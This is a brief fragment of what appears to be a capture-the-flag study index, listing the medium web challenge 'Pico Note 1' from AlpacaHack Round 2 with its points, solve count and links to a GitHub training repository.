https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/medium/imagestore ::: ... --- ## pico-note-1 :::success Difficulty: 🟨 Medium From: AlpacaHack Round 2 - 'Pico Note 1' 277 pts 10 solves Link(s): https://github.com/blackb6a/intensive-study/tree/main/week0-web/sets/medium/pico-note-1 ::: ...